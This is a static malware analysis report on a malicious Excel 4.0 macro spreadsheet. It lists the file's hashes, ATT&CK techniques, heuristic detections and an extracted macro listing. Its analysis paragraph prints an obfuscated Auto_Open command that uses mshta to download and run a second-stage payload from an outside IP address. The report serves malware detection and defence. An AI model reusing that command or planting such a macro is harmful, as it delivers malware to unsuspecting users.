Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d0fa797e7b3f671a…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 0b068d58c30c47c868a54ff3c9dfc667 SHA-1: 6e06d739df72c32060b721a0bcaf20469bdf9621 SHA-256: d0fa797e7b3f671a3bf9da80969358a7e53f0a5e77c949022b44b732e0413e18
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious Link

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html', which indicates an attempt to download a second-stage payload from the specified URL. The document body also contains a lure instructing the user to enable editing and content.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1391 bytes

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